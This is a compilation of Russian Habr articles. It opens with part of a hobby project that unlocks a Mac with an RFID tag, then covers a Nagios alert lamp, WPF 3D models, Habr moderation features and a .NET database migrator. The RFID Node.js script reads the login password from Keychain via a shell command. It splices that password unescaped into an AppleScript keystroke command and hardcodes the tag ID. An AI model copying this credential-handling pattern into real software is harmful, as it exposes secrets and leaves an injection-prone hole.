boolean startPressButton = false;
void setup() {
Serial.begin(115200);
RFID.begin(9600);
pinMode(buttonPin, INPUT);
pinMode(ledGreenPin, OUTPUT);
pinMode(ledYellowPin, OUTPUT);
pinMode(ledRedPin, OUTPUT);
digitalWrite(ledGreenPin, LOW);
digitalWrite(ledYellowPin, LOW);
digitalWrite(ledRedPin, LOW);
}
void loop() {
listenButton();
}
/\* Слушаем кнопку. Если нажата - слушаем RFID \*/
void listenButton() {
if (digitalRead(buttonPin) == HIGH) {
if (!startPressButton) {
startPressButton = true;
clearRFID();
}
digitalWrite(ledYellowPin, HIGH);
listenRFID();
} else {
startPressButton = false;
digitalWrite(ledYellowPin, LOW);
}
}
/\* Слушаем RFID. Если получен номер метки - кидаем его в поток \*/
void listenRFID() {
if (RFID.available()) {
delay(100);
rfidNumber = "";
for (int i = 0; i < 14; i++) {
rfidData = RFID.read();
if (rfidData < 16) rfidNumber += '0';
rfidNumber += rfidData;
}
RFID.flush();
sendRDIFNumber();
}
}
/\* Кидаем номер метки в поток \*/
void sendRDIFNumber() {
if (rfidNumber != "" and rfidNumberLast != rfidNumber) {
Serial.print("S");
Serial.print(rfidNumber);
Serial.print("E");
rfidNumberLast = rfidNumber;
rfidNumber = "";
}
}
/\* Слушаем поток на предмет комманд для Arduino \*/
void serialEvent() {
while (Serial.available()) {
char inChar = (char)Serial.read();
inputString += inChar;
if (inputString == "M1F") {
Serial.flush();
inputString = "";
logInOutProcess();
}
if (inputString == "M0F") {
Serial.flush();
inputString = "";
logInOutFail();
}
}
}
/\* Проверка на стороне мака прошла успешно - зелёный цвет \*/
void logInOutProcess() {
clearRFID();
digitalWrite(ledGreenPin, HIGH);
digitalWrite(ledYellowPin, LOW);
digitalWrite(ledRedPin, LOW);
delay(1000);
digitalWrite(ledGreenPin, LOW);
digitalWrite(ledYellowPin, LOW);
digitalWrite(ledRedPin, LOW);
}
/\* Проверка на стороне мака не прошла - красный цвет \*/
void logInOutFail() {
clearRFID();
digitalWrite(ledGreenPin, LOW);
digitalWrite(ledYellowPin, LOW);
digitalWrite(ledRedPin, HIGH);
delay(1000);
digitalWrite(ledGreenPin, LOW);
digitalWrite(ledYellowPin, LOW);
digitalWrite(ledRedPin, LOW);
}
/\* Чистка выдачи RFID-модуля \*/
void clearRFID() {
RFID.flush();
rfidNumberLast = "";
rfidNumber = "";
}
```
Самое интересное, на мой взгляд, происходит не на стороне Adruino, а на стороне мака. Итак, общаться со стендом будет [Node.js](http://nodejs.org/) с модулем [SerialPort](https://github.com/voodootikigod/node-serialport). Но для начала хотелось бы решить вопрос с хранением пароля разблокировки (очень уж не хотелось держать его открытым в теле скрипта, хоть и FileVault по-умолчанию включён). Для этого решил воспользоваться стандартной «ключницей» OS X — Keychain Access.
**Как добавить пароль в ключницу?**Вызываем Keychain Access (Spotlight Search Вам в помощь)
*Добавляем новый пароль...*
*В поле Account Name прописываем адекватное имя — позже к нему будем обращаться из скрипта*
Не забываем получить доступ к ключу:
```
security find-generic-password -ga my password
```
*Подтверждаем доступ к ключу для консольной программы security*
Ну вот, можно приступить к самому скрипту на Node.js. Для этого на рабочем столе создаём папку «RFIDUnLock», сам скрипт будет именоваться как «rfid.js»:
```
var inputString = "";
var serialport = require('serialport');
var SerialPort = serialport.SerialPort;
var sp = new SerialPort('/dev/tty.usbmodem20331', { // подсмотреть "путь" девайса можно в "Tools/Serial Port" программы Arduino
baudrate: 115200
});
var exec = require('child_process').exec;
sp.on('open', function() {
/* Читаем поток */
sp.on('data', function(data) {
inputString += data.toString("utf8");
/* Берём из потока нужные данные по "маркерам" */
var cardCode = inputString.match(/S([0-9]+)E/i);
if (cardCode && cardCode[1] != 'undefined') {
checkCardNumber(cardCode[1]);
inputString = '';
}
});
});
function checkCardNumber(cardCode) {
sp.flush(function() {
/* Если метка та, что нужно... */
if (cardCode == '0211111111111111111111111103') {
/* ...отправляем команду Arduino "мигнуть зелёным" */
sp.write('M1F');
/* проверяем: запущен ли "скрин сейвер"? */
exec('ps aux | grep -c ScreenSaverEngine.app | grep -v grep', function (error, stdout, stderr) {
/* если запущен - берём пароль из Kaychain и "печатаем" в поле ввода пароля */
if (parseInt(stdout) > 2) {
exec("security 2>&1 >/dev/null find-generic-password -ga mypassword | ruby -e 'print $1 if STDIN.gets =~ /^password: \"(.*)\"$/'", function (error, stdout, stderr) {
if (error !== null) return;
var appleScript = 'osascript -e \'tell application "System Events"\' -e \'key code 56\' -e \'delay 0.5\' -e \'keystroke "' + stdout + '"\' -e \'key code 36\' -e \'end tell\'';
exec(appleScript);
});
/* ...если "скрин север" не запущен - запускаем */
} else {
exec('open -a /System/Library/Frameworks/ScreenSaver.framework/Versions/Current/Resources/ScreenSaverEngine.app');
}
});
/* Метка не корректна - отправляем команду Arduino "мигнуть красным" */
} else {
sp.write('M0F');
}
});
}
```
Далее сохраняем как программу (с помощью [Script Editor](https://developer.apple.com/library/mac/documentation/AppleScript/Conceptual/AppleScriptX/Concepts/work_with_as.html)) код вызова Node.js скрипта:
```
do shell script "/usr/local/bin/node ~/Desktop/RFIDUnLock/rfid.js"
```
**Подробнее, если можно...**Вызываем Script Editor (Spotlight Search Вам в помощь)
*Прописываем код...*
*Экспортируем...*
*Сохраняем как Application*
Можно так же добавить ключ, сообщающий о запуске программы в background-режиме. Для этого в файле «info.plist» (доступен при просмоте содержимого папки программы: ctrl + click на файле и выбор «Show Package Contents») необходимо дописать перед закрывающими тегами "":
```
LSBackgroundOnly
```
**...И добавляем запуск нашей программы при загрузке системы**
**P.S.:** Поигравшись пару дней с прототипом, решил, что он «имеет право жить» — осталось спаять его в корпус, с использованием меньшего брата Arduino Nano.
**N.B.:** В XXI веке будет много завещаний, содержащих пароли. | https://habr.com/ru/post/240647/ | null | ru | null |
# Nagios-светофор из китайских кубиков
UPD. Небольшое обновление по итогам 4 лет эксплуатации. За это время сломалась одна лампа и один конвертер USB-COM. Конвертер был просто заменен на другой, без малейшей попытки починить. Лампочка же была успешно отремонтирована, так как оказалась на удивление ремонтопригодна и легко разбиралась. Пришлось заменить один вспухший конденсатор.
На этом все. Продолжаю наблюдение.
Как водится, для начала маленький “письменный отмаз от ответственности”.
* Цель всех нелепых телодвижений, описанных в статье, одна — облегчение мониторинга серверов и приложений.
* Этот смелый трюк можно повторить дома и на работе, даже неподготовленным спортсменам.
* Надеюсь, что этот текст пригодится не только адептам Nagios, но и светозарным джедаям Zabbix и неофитам других конфессий мониторинга.
* Здесь не будет продемонстрировано приемов высшего пилотажа в использовании паяльной станции, осциллографа и виртуозного владения Ruby/Fortran/etc. Все описанное примитивно, до отвращения, но дешево и сердито. А самое главное — оно работает.
Вероятно, многие из тех, кого спиннер сансары принес в область системного администрирования и сопровождения серверов в товарных количествах, задумывались об облегчении своей нелегкой ноши и не раз фантазировали, как бы сделать так, чтобы было как в песне: «вкалывают роботы, счастлив человек». Поделюсь своим рецептом обретения самадхи.
Основных способов слежения за системой мониторинга немного. Самые распространенные это чтение электрических писем и подглядывание за веб-интерфейсом. Этот функционал, как правило, доступен в любой системе мониторинга. Про отправку смс и прочую эзотерику пока говорить не будем. Но есть одно но. Электронные письма и веб-интерфейс не всегда удобны. И на них не всегда есть время и силы. В ситуации, когда отсутствует выделенный специалист (или даже целый отдел) мониторинга, нужно средство сигнализации:
1. Не отвлекающее от выполнения других задач.
2. Привлекающее внимание в случае появления проблем.
3. Дешевое и сердитое.
Начальные условия задачи таковы:
1. Используется Nagios.
2. Все сервера находятся в ДЦ, далеко от офиса отдела сопровождения. Обычная ситуация.
3. Корпоративные политики запрещают использование сетевых USB устройств (и дисков, к слову). Это значит, что не получится использовать готовые WiFi и BT контроллеры различных светодиодных гирлянд и прочих радостей умного дома и интернета вещей. Остается старый добрый последовательный порт. Или USB-COM адаптер. Это замечательное устройство не запрещено доменными политиками.
Таким образом вырисовывается следующая конфигурация. На сервере Nagios скрипт проверяет статус и по сети отправляет команду на включение лампочки, находящейся в отделе сопровождения.
Условия задачи поставлены, приступаем к решению.
Для начала определим способ получения статуса мониторинга. В Nagios это делается благодаря компоненте livestatus. Настройка и установка описаны [тут](http://mathias-kettner.de/checkmk_livestatus.html). После установки можно получить статус мониторинга в реальном времени простейшим скриптом. Вполне информативен такой запрос:
```
GET services
Stats: state = 2
Stats: state = 1
Stats: state = 3
Separators: 10 32 44 124
```
На выходе получаем три числа в одной строке, разделенные пробелом. Это количество сервисов находящихся в состоянии CRITICAL, WARNING и UNKNOWN соответственно. На этом вопрос обработки статусов мониторинга пока оставим в стороне, вернемся к этому позднее. Получение статусов с вашей любимой системы мониторинга оставляю на ваше усмотрение.
Переходим к самой вкусной части нашего приключения, к железкам и проводам.
Теперь необходимо выбрать канал передачи и способ индикации состояния мониторинга. После недолгих раздумий и поисков, выбор пал на комплект из лампочки с инфракрасным управлением, инфракрасного декодера и адаптера USB-COM. Этот комплект подключается к рабочей станции на которой развернут клиент Nagios (nsclient++).
Итак, все ингредиенты перечислены, осталось взболтать но не смешивать.
Начнем с лампочки.
Лампочка (как и все остальные компоненты) была куплена на али. Ищите по ключевым словам “IR RGB LED bulb”. Очень мощная не нужна, достаточно 3-5 ватт. Это важно, потому что лампа весь день находится в прямой видимости, и слишком яркая будет мешать и слепить.
И еще важно, чтобы она управлялась по протоколу NEC. Так как готовый декодер поддерживает только этот протокол. Заодно не забудьте прикупить любой настольный или напольный плафон для лампы, если его у вас нет. Лампочку достаточно просто вкрутить в плафон и включить в сеть 220В.
Следующий компонент — модуль инфракрасного декодера (в сборе с USB-COM адаптером).
В китайских закромах можно отыскать по словам “ir decoder”. Для этого прекрасного модуля даже имеется схема и комплект документации, доступный по [ссылке](http://www.uctronics.com/download/U3107_Infrared_decoding_module.zip).
В качестве адаптера USB-COM подойдет любой Prolific/Silicon Labs/FTDI/CH340/etc. Ищется на али по заклинанию “serial converter usb ttl”. На всякий случай напомню, что как минимум два бренда из перечисленных(FTDI и Prolific), замечены в неравной борьбе с пользователями своих продуктов. Это выражается в неработоспособности свежих драйверов с пиратскими адаптерами из Китая. Приходится принудительно откатываться на предыдущие версии драйверов. Подробнее останавливаться на этом не буду, в сети много информации.
Дальнейшее повествование подразумевает, что вы закончили сеанс тантрического уединения с адаптером USB-COM и в вашей системе появился дополнительный COM порт. Теперь подключаем к адаптеру декодер (предварительно отключив адаптер от USB порта!) Для этого достаточно соединить 8 штырьков 4-мя проводками (ни в коем случае не наоборот!). Примерно так:
| decoder | usb-com |
| --- | --- |
| 5v | 5v |
| tx | rx |
| rx | tx |
| gnd | gnd |
Пришло время, затаив дыхание, подключить нашу конструкцию к USB порту. Если белый дым не покинул изделие, можно проверять работоспособность всей цепочки. Необходимо убедиться, что IR сигнал принимается и отправляется, а также записать все коды от пульта управления лампочкой. Для этого прекрасно подходит программа [RealTerm](https://sourceforge.net/projects/realterm/). Не буду приводить скриншоты, там все просто и прозрачно. Не хочется лишать читателей удовольствия немного усилить кровоснабжение своего неокортекса. Это приятно.
Теперь, когда у вас в руках перехваченные коды “~~Энигмы~~” пульта, осталось проверить срабатывание лампы от декодера. В той же программе RealTerm отправляете полученные коды и наблюдаете срабатывание лампы. В отправке кодов есть небольшой нюанс. Если вам лень читать документацию на адаптер, дам подсказку. По умолчанию, после включения, декодер работает с адаптером на скорости 9600. Для отправки нескольких байт этого более чем достаточно. Но имеется возможность увеличить скорость обмена с адаптером по RS232. Кроме того, перед отправкой кода в декодер, сначала необходимо отправить префикс A1 F1. К примеру, при захвате кода красной кнопки, RealTerm выдал 00 FF 09. Чтобы этот код добрался до лампы через декодер, нужно отправить последовательность A1 F1 00 FF 09. Все коды, естественно, шестнадцатеричные.
Надеюсь, вы добрались до этого этапа без жертв и разрушений. Осталось упаковать все в корпус и настроить Nagios и агента. В качестве корпуса использовал старую [мышку](https://habrastorage.org/webt/uo/eg/9a/uoeg9algzre9j4j3_3iklqqv-tc.jpeg). Все отлично поместилось, выглядит стильно, модно, молодежно. Главное, не забыть просверлить [отверстие](https://habrastorage.org/webt/ew/xr/it/ewxritky_6uwyglnlgk3mwlkxcg.jpeg) для светодиода по ГОСТ’у.
Теперь несколько слов об алгоритме сигнализации. Так как лампочка одна, а одномоментно разные сервисы могут находиться в разных состояниях, значит лампочек на всех может не хватить. Следовательно, надо отображать самое худшее состояние в текущий момент времени. Самое время вернуться к результатам запроса статуса через livestatus. Получив строку чисел, смотрим на самое первое число. Если оно не равно 0, включаем красный цвет и завершаем обработку результатов запроса. Все остальные статусы нам уже не интересны, т.к. каналов для их отображения нет. Если первое число равно 0, смотрим следующее число и т.д. Если все полученные значения равны 0, значит все сервисы находятся в статусе OK и можно смело включать зеленый цвет.
Количество сервисов в статусе OK не запрашивается и не анализируется. Помимо отображения статуса сервисов, в алгоритме реализовано некое подобие “сердцебиения”. Это нужно для понимания того, что вся цепочка работает и исправна. Перед любым переключением лампы, на одну секунду включается фиолетовый цвет, а уже затем соответствующий (красный, желтый, оранжевый или зеленый). После включения нужного цвета, посылается три раза код понижения яркости, чтобы уменьшить яркость лампы до минимума. В данной лампе всего 4 градации яркости, а лампа после переключения всегда включает максимум.
Вот и весь несложный алгоритм работы лампочки. Плюс ко всему на ночь лампа выключается, а утром включается.
Для тех кому понравился рецепт, выложил скрипты и куски конфигов на [гитхаб](https://github.com/Duremar007/Nagios-Bulb).
Там все очень просто. Если все делать внимательно и аккуратно, то вы обязательно прокатитесь на квадриге. Желаю удачи. | https://habr.com/ru/post/353280/ | null | ru | null |
# Визуализация простой геометрии в WPF
Что такое геометрия модели
--------------------------
Для работы с 3D моделями мы используем специальные конвейеры обработки — [OpenGL](https://ru.wikipedia.org/wiki/OpenGL) и [DirectX](https://ru.wikipedia.org/wiki/DirectX). Когда конвейеры строят картину, они используют информацию:
* о модели — её материале, геометрии и текстурах,
* о сцене — освещении и настройке камеры.
Любая модель начинается с геометрии. Геометрия модели — это набор точек в трехмерном пространстве и набор треугольников из этих точек. Треугольник компланарен — он лежит в плоскости, в отличие от фигур с большим числом точек, которые в общем случае не лежат в плоскости.
Если задать у треугольника направление обхода границы, он станет ориентированным треугольником. У ориентированного треугольника в трехмерном пространстве можно выделить внутреннюю и внешнюю стороны. По направлению обхода границы мы также определяем единственный по направлению вектор нормали для каждого треугольника. Так, в геометрию модели, помимо точек и треугольников, входит набор нормалей к каждому из треугольников. При отображении модели точки модели соответствуют точкам, треугольники модели соответствуют граням.
В примере мы сосредоточимся на геометрии модели, остальное будем использовать по мере необходимости. В качестве примера модели вполне подойдет Дельфин ниже:
Благодаря технологии [WPF](https://ru.wikipedia.org/wiki/Windows_Presentation_Foundation) мы создаем интерактивные интерфейсы приложений и работаем с 3D-графикой. В примере мы используем стандартные возможности архитектуры [WPF](https://ru.wikipedia.org/wiki/Windows_Presentation_Foundation): привяжем данные и на их основе разделим модель данных и представление данных ([MVVM](https://ru.wikipedia.org/wiki/Model-View-ViewModel)).
Основной элемент для отображения 3D-содержимого в библиотеке [WPF](https://ru.wikipedia.org/wiki/Windows_Presentation_Foundation) — [Viewport3D](https://msdn.microsoft.com/ru-ru/library/system.windows.controls.viewport3d(v=vs.110).aspx). Например, свойство **Camera** устанавливает камеру, и мы видим сцену. Второе необходимое свойство [Viewport3D](https://msdn.microsoft.com/ru-ru/library/system.windows.controls.viewport3d(v=vs.110).aspx) — **Children**, коллекция элементов абстрактного типа [Visual3D](https://msdn.microsoft.com/ru-ru/library/system.windows.media.media3d.visual3d(v=vs.110).aspx). Конкретная реализация этого класса — класс [ModelVisual3D](https://msdn.microsoft.com/ru-ru/library/system.windows.media.media3d.modelvisual3d(v=vs.110).aspx): чтобы его использовать, нужно указать свойство **Content** абстрактного типа [Model3D](https://msdn.microsoft.com/ru-ru/library/system.windows.media.media3d.model3d(v=vs.110).aspx).
Основные классы для установки свойства **Content**:
* [GeometryModel3D](https://msdn.microsoft.com/ru-ru/library/system.windows.media.media3d.geometrymodel3d(v=vs.110).aspx) — отображает одну модель,
* [Light](https://msdn.microsoft.com/ru-ru/library/system.windows.media.media3d.light(v=vs.110).aspx) — модель источника света,
* [Model3DGroup](https://msdn.microsoft.com/ru-ru/library/system.windows.media.media3d.model3dgroup(v=vs.110).aspx) — помогает создавать модели с разными материалами.
Необходимые свойства будем устанавливать по привязке.
Модель данных MVVM
------------------
В широком смысле любое приложение решает определенную задачу. Модель должна полностью отражать данные в решаемой приложением задаче. Мы упростим пример и исключим нормали — они будут определяться по умолчанию. Нормали важны для отображения текстур или заливки при расчете освещенности.
Подберем основные интерфейсы, которые определяют сущности модели данных MVVM и их связи:
```
interface IModel3DSet {
string Description { get; set; }
ICollection Models { get; }
}
interface IModel3D {
string Description { get; set; }
ICollection Points { get; }
ICollection Triangles { get; }
}
interface IPoint3D {
double X { get; set; }
double Y { get; set; }
double Z { get; set; }
string Coordinates { get; }
IVector3D DistanceTo(IPoint3D endPoint);
}
interface ITriangle3D {
IModel3D Model3D { get; }
IPoint3D Point1 { get; set; }
IPoint3D Point2 { get; set; }
IPoint3D Point3 { get; set; }
}
interface IVector3D {
double X { get; set; }
double Y { get; set; }
double Z { get; set; }
double Norm { get; }
IVector3D Add(IVector3D vector);
IVector3D Subtract(IVector3D vector);
IVector3D Multiply(double factor);
IVector3D CrossProduct(IVector3D vector);
double DotProduct(IVector3D vector);
}
```
Конкретная реализация прямолинейна. Чтобы предупреждать об изменении свойств, используем привычный [INotifyPropertyChanged](https://msdn.microsoft.com/ru-ru/library/system.componentmodel.inotifypropertychanged(v=vs.110).aspx).
ViewModel
---------
В качестве базового класса для ViewModel мы используем:
```
public abstract class BaseVm : Notifier {
TModel \_model;
public TModel Model {
get { return \_model; }
set {
\_model = value;
NotifyWithCallerPropName();
}
}
}
public abstract class BaseVm : BaseVm {
public BaseVm(TModel model = default(TModel), TParentVM parentVM = default(TParentVM)) {
Model = model;
Parent = parentVM;
}
public TParentVM Parent { get; }
}
```
Такая структура удобна тем, что позволяет двигаться по иерархии ViewModel в привязках. Классы **Vector3D**, **Triangle3D**, **Point3D** просты, поэтому создавать для них ViewModel не обязательно. Значит нам нужны только два класса ViewModel — **Model3DSetVm** и **Model3DVm**.
Представления
-------------
Чтобы построить представления, используем подстановку WPF с помощью атрибута **DataType="{x:Type local:Type}"** при объявлении **DataTemplate** в словарях ресурсов. В остальном реализация стандартная. Приложение для демонстрации выглядит так:
Что еще нужно знать
-------------------
1. В WPF свойство **TriangleIndices** не обязательное. Если оно не задано, по умолчанию будут созданы треугольники по каждой тройке точек. По этой причине даже при пустом наборе треугольников отображаются грани.
2. Чтобы создать привязку для коллекции моделей, можно использовать привязку из нашего примера, но подставьте экземпляр [Model3DGroup](https://msdn.microsoft.com/ru-ru/library/system.windows.media.media3d.model3dgroup(v=vs.110).aspx) вместо [GeometryModel3D](https://msdn.microsoft.com/ru-ru/library/system.windows.media.media3d.geometrymodel3d(v=vs.110).aspx). Использовать для этого привязку к свойству **Children** [Viewport3D](https://msdn.microsoft.com/ru-ru/library/system.windows.controls.viewport3d(v=vs.110).aspx) не получится.
3. Если мы изменим геометрию или ось вращения, модель перестроится, изображение будет дергаться — анимация начнется заново. Чтобы процесс не прерывался, сохраняйте промежуточные значения модели и применяйте к ним анимацию.
[Проект с примером можно найти здесь...](https://github.com/klauth86/MS-Visual-Studio/tree/master/Simple3DModelEditor)
Буду рад, если статья вам в чем-то поможет… | https://habr.com/ru/post/326406/ | null | ru | null |
# Модераторы
Я решил дать посту такой немногословный заголовок, чтобы даже те, кто читает нас через RSS, обратили на него внимание. Это не помешает, так как наши посты-анонсы о новых фичах набирают не так много просмотров (а беспокоить пользователей рассылками мы не очень-то любим).
В этом посте-анонсе хочу кое-что рассказать про взаимодействие с модераторами.
---
Мы проводили опрос небольшой фокус-группы и пришли к тому, что далеко не все знают, как можно связаться с модераторами. Это «старичкам» знакомы такие никнеймы как Boomburum, Deniskin и Exosphere — иногда нас тегают, но всё же каждый из пользователей может быть занят, а беспокоить сразу всех тоже не очень правильно ) Поэтому мы решили сделать системную учётную запись, упоминание которой будет обращать внимание перечисленных пользователей.
Просто запомните: [@moderator](/users/moderator)
Ну да, как на пикабу, и что? Мы не столько «слизали» фичу, сколько решили не изобретать велосипед и сделали так, чтобы принцип её использования был вам знаком по другим сервисам. Вскоре постараемся внедрить кнопку для взаимодействия с модератором, а также рассказать о том, как работает наш отдел (хотя о работе уже [рассказывали](https://habr.com/ru/company/habr/blog/589587/), поэтому больше расскажем о людях).
Что ещё нужно знать:
* Обладатели бейджей «Автор», «Звезда», «Легенда» и «Старожил» могут отправить жалобу на любую публикацию прямо с её страницы. Кнопка для этого находится внизу справа: жмите, пишите пояснительный комментарий и отправляйте. Стараемся рассматривать всё и реагировать там, где это нужно.
* У тех же пользователей есть функция «Пожаловаться» для комментариев. Если видите в комментариях какую-то шизу, то нажмите эту кнопку и тогда письмо улетит в хелпдеск, где его рассмотрит кто-то из коллег.
* У нас есть возможность включить эту функцию даже для тех, кто не обладает нужными бейджами. Если вам хочется помогать следить за порядком на сайте, напишите мне в личку, я включу эту функцию. Но если будете злоупотреблять ей, то придётся отключить.
* Недавно мы внедрили «[Причины минусования кармы](https://habr.com/ru/company/habr/blog/705022/)» — надеемся, это поможет нам в борьбе с «подозрительными аккаунтами», о которых вы иногда пишете. Мы не отрицаем, что они есть — такова обратная медаль многочисленных просьб дать больше возможностей новым пользователям без статей ) Пользуйтесь функцией с умом, а мы будем смотреть, что там за подозрительные аккаунты.
* **UPD:** по просьбам трудящихся, только что добавили причину минусования поста «Кликбейтный заголовок». cc [@Dolios](/users/dolios) [@vconst](/users/vconst)
### CTRL/⌘+Enter
Ещё одно сочетание, которое используется на многих сайтах и выполняет функцию сообщения об ошибках. В редакционных изданиях сообщения улетают в редакцию, у нас ([с 2019 года](https://habr.com/ru/company/habr/blog/442208/)) — автору поста. Если нашли опечатку, выделяйте текст и жмите хоткей. Авторы постов — не игнорируйте эти сообщения, исправляйте ошибки и благодарите собеседников (можно плюсом в карму). А мы скоро постараемся сделать эту фичу более заметной в интерфейсе сайта, задачи уже стоят.
Извените за токую кампиляцию )Сами мы хоть и стараемся следить за орфографией в постах, но это физически сложно делать во всех размещаемых материалах. Пока наш штатный корректор проверяет только публикации информационной службы (в основном новости), но мы постоянно работаем над этим. Если у вас есть какие-то предложения, как эту фичу можно улучшить (или знаете крутые библиотеки по спеллчеку) — дайте знать, посмотрим.
---
Читайте также: [Изменения на Хабре этой осенью](https://habr.com/ru/company/habr/blog/705856/)
> Нашли опечатку в тексте? Выделите и нажмите `CTRL/⌘+Enter`.
>
>
Спасибо за внимание! | https://habr.com/ru/post/707170/ | null | ru | null |
# ThinkingHome.Migrator — версионная миграция схемы базы данных на платформе .NET Core
Привет! Сегодня я выпустил новую версию [ThinkingHome.Migrator](https://github.com/thinking-home/migrator) — инструмента для версионной миграции схемы базы данных под платформу .NET Core.
Пакеты [опубликованы в NuGet](https://www.nuget.org/packages?q=ThinkingHome.Migrator), написана [подробная документация](https://github.com/thinking-home/migrator#readme). Вы уже можете пользоваться новеньким мигратором, а я расскажу, как он появился, почему у него номер версии 3.0.0 (хотя это первый релиз) и зачем он нужен, когда есть [EF Migrations](https://docs.microsoft.com/ru-ru/ef/core/managing-schemas/migrations/) и [FluentMigrator](https://github.com/fluentmigrator/fluentmigrator).
Как всё начиналось
------------------
9 лет назад, в 2009 году я работал ASP.NET разработчиком. Когда мы релизили наш проект, специальный человек оставался на работе допоздна и, одновременно с обновлением файлов на сервере, руками выполнял SQL скрипты, обновляющие БД в проде. Мы искали инструмент, который делал бы это автоматически, и нашли проект [Migrator.NET](https://github.com/migratordotnet/Migrator.NET).
Мигратор предлагал новую для того времени идею — задавать изменения БД в виде миграций. Каждая миграция содержит маленькую порцию изменений и имеет номер версии, в которую перейдет БД после её выполнения. Мигратор сам вел учет версий и выполнял нужные миграции в нужном порядке. Особенно круто было то, что мигратор позволял для каждой миграции задать обратные изменения. Можно было при запуске мигратора задать версию, ниже текущей, и он автоматически откатил бы БД до этой версии, выполняя нужные миграции в обратном порядке.
```
[Migration(1)]
public class AddAddressTable : Migration
{
override public void Up()
{
Database.AddTable("Address",
new Column("id", DbType.Int32, ColumnProperty.PrimaryKey),
new Column("street", DbType.String, 50),
new Column("city", DbType.String, 50)
);
}
override public void Down()
{
Database.RemoveTable("Address");
}
}
```
В том миграторе было много ошибок. Он не умел работать со схемами БД, отличными от схемы по умолчанию. В некоторых случаях генерировал некорректные SQL запросы, а если указать ему несуществующий номер версии — впадал в бесконечный цикл. В результате мы с коллегами форкнули проект и чинили там баги.
GitHub.com с его форками и пулл реквестами тогда еще не было (код мигратора лежал на [code.google.com](https://code.google.com/archive/p/migratordotnet/)). Поэтому мы особенно не заморачивались с тем, чтобы наши изменения попали обратно в оригинальный проект — просто пилили свою копию и сами этим пользовались. Со временем мы переписали бо́льшую часть проекта, а я стал его основным мэйнтейнером. Потом я выложил код нашего мигратора [на google code](https://code.google.com/archive/p/ecm7migrator/) и написал [статью на хабр](https://habr.com/post/70884/). Так появился ECM7.Migrator.
За время работы над мигратором мы почти полностью его переписали. Заодно немного упростили API и покрыли всё автотестами. Лично мне очень нравилось пользоваться тем, что получилось. В отличие от оригинального мигратора, было ощущение надежности и не было ощущения, что происходит непонятная магия.
Как оказалось, наш мигратор нравился не только мне. Насколько я знаю, он использовался в довольно крупных компаниях. Мне известно про ABBYY, БАРС Груп и concert.ru. Если наберете в поиске запрос "ecm7 migrator", то можете встретить в результатах статьи о нем, упоминания в резюме, описания использования в студенческих работах. Иногда мне приходили письма от незнакомых людей с вопросами или словами благодарности.
После 2012 года проект почти не развивался. Его текущие возможности покрывали все задачи, которые у меня возникали и я не видел необходимости что-то доделывать.
ThinkingHome.Migrator
---------------------
В прошлом году я начал работать над [проектом](https://github.com/thinking-home/system) на .NET Core. Там нужно было сделать возможность подключения плагинов, а у плагинов должна быть возможность создать себе нужную структуру БД, чтобы хранить там свои данные. Это как раз такая задача, для которой хорошо подходит мигратор.
### EF Migrations
Для работы с базой данных я использовал Entity Framework Core, поэтому первое, что я попробовал — это EF Migrations. К сожалению, почти сразу пришлось отказаться от идеи использовать их.
Миграции Entity Framework тащат в проект кучу зависимостей, а при запуске — делают какую-то особую магию. Шаг влево/шаг вправо — упираешься в ограничения. Например, миграции Entity Framework почему-то обязательно должны быть в одной сборке с `DbContext`. Это значит, что не получится хранить миграции внутри плагинов.
### FluentMigrator
Когда стало ясно, что EF Migrations не подходят, я поискал решение в гугле и нашел несколько open source миграторов. Самый продвинутый из них, судя по количеству загрузок в NuGet и звездочек на GitHub, оказался [FluentMigrator](https://github.com/fluentmigrator/fluentmigrator). FM — очень хорош! Он умеет очень многое и у него очень удобный API. Сначала я решил, что это то, то мне нужно, но позже обнаружилось несколько проблем.
Главная проблема — FluentMigrator не умеет параллельно учитывать несколько последовательностей версий внутри одной БД. Как я писал выше, мне нужно было использовать мигратор в модульном приложении. Нужно, чтобы модули (плагины) можно было устанавливать и обновлять независимо друг от друга. У FluentMigrator сквозная нумерация версий. Из-за этого нельзя выполнить/откатить из БД миграции одного плагина, не затронув структуру БД остальных плагинов.
Я пробовал организовать нужное поведение при помощи [тэгов](https://fluentmigrator.github.io/articles/migration/migration-filter-tags.html), но это тоже не совсем то, что нужно. FluentMigrator не хранит информацию о тэгах выполненных миграций. Кроме того, тэги привязаны к миграциям, а не к сборкам. Это очень странно, учитывая, что точка входа для поиска миграций — именно сборка. В принципе, наверно было можно таким образом сделать параллельный учет версий, но нужно написать над мигратором довольно сложную обертку.
### Портировать ECM7.Migrator на .NET Core
В начале этот вариант даже не рассматривал. В то время текущая версия .NET Core была — 1.1 и её API был плохо совместим с .NET Framework, в котором работал ECM7.Migrator. Я был уверен, что портировать его на .NET Core будет сложно и долго. Когда вариантов "взять готовое" не осталось, решил попробовать. Задача оказалась легче, чем я ожидал. На удивление, всё заработало почти сразу. Потребовались лишь небольшие правки. Так как логика мигратора была покрыта тестами, сразу были видны все места, которые сломались и я быстро починил их.
Сейчас я портировал адаптеры только для четырех СУБД: MS SQL Server, PostgreSQL, MySQL, SQLite. Не портировал адаптеры для Oracle (т. к. всё еще нет стабильного клиента под .NET Core), MS SQL Server CE (т.к. он работает только под Windows и мне тупо негде его запускать) и Firebird (т.к. он не очень популярный, портирую позже). В принципе, если нужно будет сделать провайдеры для этих или других СУБД — это довольно просто.
Исходный код нового мигратора [лежит на GitHub](https://github.com/thinking-home/migrator). Настроен [запуск тестов для каждой СУБД](https://travis-ci.org/thinking-home/migrator) в Travis CI. Написана утилита командной строки ([.NET Core Global Tool](https://habr.com/post/359006/)), которую можно легко [установить из NuGet](https://www.nuget.org/packages/ThinkingHome.Migrator.CLI). Написана документация — я очень старался написать подробно и понятно и, кажется, так и получилось. Можно брать и пользоваться!
### Немного про название...
У нового мигратора нет обратной совместимости со старым. Они работают на разных платформах и у них отличается API. Поэтому проект опубликован под другим названием.
Название выбрано по проекту [ThinkingHome](https://github.com/thinking-home/system), для которого я портировал мигратор. Собственно, ECM7.Migrator тоже назван по проекту, над которым я работал в тот момент.
Возможно, лучше было выбрать какое-то нейтральное название, но мне не пришло в голову хороших вариантов. Если знаете такой — пишите в комментариях. Еще не поздно всё переименовать.
Номер версии указал 3.0.0, т.к. новый мигратор — логическое продолжение старого.
Быстрый старт
-------------
Итак, давайте попробуем использовать мигратор.
